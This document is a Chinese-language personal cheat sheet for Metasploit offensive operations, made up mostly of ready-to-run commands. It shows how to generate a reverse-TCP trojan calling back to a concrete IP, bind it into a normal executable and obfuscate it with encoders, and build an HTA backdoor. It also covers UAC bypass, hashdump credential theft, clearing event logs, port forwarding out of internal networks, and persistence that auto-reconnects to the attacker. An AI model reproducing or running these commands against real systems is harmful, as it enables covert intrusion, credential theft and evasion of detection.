metasploit小结

meterpreter shell常识

mefconsole启动时在哪个目录,下载下来的文件就在哪个目录,也可以通过lcd命令切换本地临时目录。

getuid:查看当前权限

edit命令:就是msf中的vim,edit 文件

pgrep命令:从进程中筛选,并显示pid,比如pgrep notepad

截图

kill和pkill命令:kill是根据pid杀死进程的,pkill是根据进程名杀死进程的,比如pkill notepad

ps:列出所有进程,pid是当前进程id,ppid是父进程id

reg:操作注册表,自行百度

suspend :暂停一个进程,或者恢复一个进程(-r参数)

windows shell中执行set:查看环境变量

idletime:空闲时间,用户多久没有使用这台pc了

生成木马:

1
2
3
4
5
6
7
-p 指定payload
-a 指定x86或x64
-o 指定输出位置
-f 指定后缀 exe、bin啥的
--platform 指定平台,windows、linux

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -f exe -o ./muma.exe LHOST=193.122.122.123 LPORT=12345

将木马捆绑到1.exe (-x和-k参数)

1
2
-x 参数指定一个正常文件
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f exe --platform windows -x ./1.exe -o ./muma.exe

此外还有个-k参数,正常-x参数会寻找程序入口(EntryPoint),绑定在程序内部增加隐蔽性,当找不到入口时可以使用-k参数将木马捆绑,这种捆绑方式和原程序互不干扰,并行线程,保证了原始程序的正常使用,看起来很正常。

查看高级选项:

1
show advanced

启动监听:

1
2
3
4
5
6
use exploit/multi/Handler
set payload windows/meterpreter/reverse_tcp
set LHOST 193.122.122.123
set LPORT 12345
set exitonsession false //监听到session不退出,也就是允许多个终端连接,show advanced中查看
run //可以添加-j参数,后台监听

msfconsole查看任务:

1
2
jobs //列出所有工作,比如run -j在后台运行会被列出
kill //结束工作,kill <序号>

查看会话:

1
2
3
4
sessions -l //列出活动会话
sessions -d //查看非活动会话
sessions -k 1-20 //断开1-20的会话
sessions -K //断开全部会话

meterpreter shell常用命令:

1
2
3
4
help //查看命令
getdesktop //进入桌面目录
touch <name>//创建文件
mkdir <name>//创建目录

msfconselo常用命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
msfconsole -q //静默启动,不显示logo
msfconsole -r <filename.rc> //读取文件,并按行执行文件内容,后缀可以自定义,不用必须设置为rc
/*
文件内容可以如下<exp_mul_handler_x86.rc>:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 193.122.122.123
set lport 12345
run

此时输入下面命令即可快速打开监听:
msfconsole -r exp_mul_handler_x86.rc
*/

混淆器encoder (-e)

可以使用msfvenom -l encoder命令查看全部混淆器,和品质

用-e参数指定混淆器,-i参数设置混淆次数

比如 -e x86/shikata_ga_nai -i 10

hta后门

hta是html的一种格式,windows可以直接执行,msf生成的hta是调用powershell生成后门的。

使用-f hta-psh指定生成hta文件

截图

系统操作

自带的提权:getsystem //容易失败,可以使用exploit中专用的提权模块

降权:rev2self //提权后可以降权

擦除入侵痕迹:clearev //需要高权限

提权:

getprivs:一般提权,权限提升不明显

getsystem: 尝试获取system权限

bypassuac:

use exploit/windows/local/bypassuac

set session 1 //哪个session需要提权

set payload //默认payload是windows/meterpreter/reverse_tcp

set lhost 193.122.122.123 //ip

set lport 12345 //端口

//也可以使用payload exploit/windows/local/bypassuac_eventvwr

hashdump

hashdump经测试,直接使用会报错,需要在meterpreter shell中运行下面的命令才行:

1
run post/windows/gather/hashdump

截图

截图

网络相关:

portfwd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
portfwd:端口转发,代理出网,将受害者的端口转发到攻击机的端口(内网机器出网)

比如将内网的3386转发到vps的6666端口:
portfwd add -l 6666 -r 193.122.122.123 -p 3389

/*命令行开启远程桌面
#设置远程桌面端口
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
#开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
#检查端口状态
netstat -an|find "3389"
#关闭远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0

或者注册表
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
将fEnableWinStation"值由0改为1
*/

删除转发:
portfwd delete -l 6666 -r 193.122.122.123 -p 3386

portfwd list:显示所有转发

持久化

设置AutoRunScript,当meterpreter上线后自动执行持久化命令

1
2
3
4
5
6
7
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.101
set LPORT 5555
set ExitOnSession false
set AutoRunScript persistence -r 192.168.2.101 -p 5556 -U -X -i 30
exploit -j -z

获取meterpreter shell后可以进行持久化

持久化之前要尽可能的提高权限(system)

因为要向system目录下写文件并设置自启

可以设置开机自启、定时回连等功能

在meterpreter shell中通过run persistence -h获取帮助文档

截图

常用参数:

-X:开机自启

-i :每隔秒会自动回连

-p : 指定回连端口

-r :指定回连ip

-S:作为服务启动

-U:用户登录时自启动

-P :指定payload 默认 windows/meterpreter/reverse_tcp

操作注册表reg

获取到system权限后,或者administrator权限可以进入meterpreter shell操作注册表,命令:

1
reg setval -k HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\NetBT\\Parameters -v SMBDeviceEnabled -d 1

疑难杂症:

当出现下图这种情况时,一般是监听时payload没设置对。

截图